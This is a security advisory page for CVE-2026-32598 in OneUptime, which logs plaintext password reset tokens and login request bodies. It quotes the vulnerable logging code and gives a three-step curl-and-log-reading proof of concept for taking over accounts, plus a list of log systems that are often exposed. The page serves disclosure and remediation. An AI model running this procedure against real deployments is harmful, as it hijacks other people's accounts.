CVE-2026-32598: OneUptime: Password Reset Token Logged at INFO Level

Published Mar 12, 2026
·
Updated

Summary

The password reset flow logs the complete password reset URL — containing the plaintext reset token — at INFO log level, which is enabled by default in production. Anyone with access to application logs (log aggregation, Docker logs, Kubernetes pod logs) can intercept reset tokens and perform account takeover on any user.

Details

Vulnerable code — App/FeatureSet/Identity/API/Authentication.ts lines 370-371: typescript logger.info("User forgot password: " + user.email?.toString()); logger.info("Reset Password URL: " + tokenVerifyUrl);

The tokenVerifyUrl is a complete URL like https://app.oneuptime.com/accounts/reset-password/<plaintext-token>. This is logged at INFO level, which is enabled by default in production and persisted to stdout, log files, and any configured log aggregation systems.

Additionally — login credentials logged at DEBUG level (line 909): typescript logger.debug("Login request data: " + JSON.stringify(req.body, null, 2));

The entire login request body (including cleartext password) is logged at DEBUG level. While DEBUG is typically disabled in production, it is commonly enabled during incident troubleshooting.

No existing CVEs cover sensitive data exposure in logging for OneUptime. CVE-2026-30956 (GHSA-r5v6-2599-9g3m) leaked resetPasswordToken from the database via multi-tenant header bypass — this finding is different (token leaked via application logs).

PoC

Environment: OneUptime v10.0.23 via docker compose up (default configuration)

bash Step 1 — Trigger forgot-password for target user curl -s -X POST http://TARGET:8080/api/identity/forgot-password \ -H 'Content-Type: application/json' \ -d '{"data": {"email": "test@example.com"}}' Response: {}

Step 2 — Read application logs to extract the reset token docker compose logs app --tail 5 Output: app-1 | User forgot password: test@example.com app-1 | Reset Password URL: http://localhost/accounts/reset-password/20771cc6-860a-4b9b-bb9c-09eff67de4ef

Step 3 — Use the extracted token to reset the victim's password curl -s -X POST http://TARGET:8080/api/identity/reset-password \ -H 'Content-Type: application/json' \ -d '{"data": {"token": "20771cc6-860a-4b9b-bb9c-09eff67de4ef", "password": "NewPassword123!"}}'

Tested and confirmed on 2026-03-12 against oneuptime/app:release (APPVERSION=10.0.23). Full password reset token 20771cc6-860a-4b9b-bb9c-09eff67de4ef visible in INFO-level logs.

Attack surface for log access: ELK/Elasticsearch dashboards (often misconfigured with default credentials), CloudWatch/Datadog/Splunk/Grafana Loki, docker logs / kubectl logs, shared log volumes, CDN/proxy access logs.

Impact

Any user's account can be taken over by anyone with read access to application logs:

- Account takeover: Every password reset token is logged in plaintext, creating a persistent trail of sensitive tokens - Exposure scale: This logs EVERY password reset request — not a one-off, but systematic - Cascading impact: Combined with differential error responses in forgot-password (user enumeration), an attacker can systematically target any user - Organizations that aggregate OneUptime logs into shared logging infrastructure expose all password reset tokens to anyone with log reader access

Other sources

OneUptime is a solution for monitoring and managing online services. Prior to 10.0.24, the password reset flow logs the complete password reset URL — containing the plaintext reset token — at INFO log level, which is enabled by default in production. Anyone with access to application logs (log aggregation, Docker logs, Kubernetes pod logs) can intercept reset tokens and perform account takeover on any user. This vulnerability is fixed in 10.0.24.

— MITRE

Affected Software

3 affected componentsFixes available
OneUptime OneUptime<10.0.24
npm/oneuptime<10.0.23
10.0.23
Hackerbay Oneuptime<10.0.24

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade npm/oneuptime to a version that resolves this vulnerability.

    Fixed in 10.0.23
  2. Upgrade

    Upgrade OneUptime to a version that resolves this vulnerability.

    Fixed in 10.0.24

Event History

Mar 12, 2026
CVE Published
via MITRE·09:31 PM
Data Sourced
via MITRE·09:31 PM
DescriptionWeakness
Mar 13, 2026
Data Sourced
via NVD·07:55 PM
DescriptionSeverityWeaknessAffected Software
Advisory Published
via GitHub·08:05 PM
Data Sourced
via GitHub·08:05 PM
DescriptionWeaknessAffected Software

Frequently Asked Questions

1

What is the severity of CVE-2026-32598?

CVE-2026-32598 is considered a moderate severity vulnerability due to the exposure of sensitive information in logs.

2

How do I fix CVE-2026-32598?

To fix CVE-2026-32598, upgrade to OneUptime version 10.0.24 or later, where the issue has been addressed.

3

What type of data is exposed in CVE-2026-32598?

CVE-2026-32598 exposes the plaintext password reset token in the logs, which can be exploited if accessed.

4

In which versions of OneUptime is CVE-2026-32598 present?

CVE-2026-32598 is present in OneUptime versions prior to 10.0.24.

5

What is the impact of CVE-2026-32598 on user security?

CVE-2026-32598 can lead to unauthorized access if an attacker gains access to the logs containing the password reset URL.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203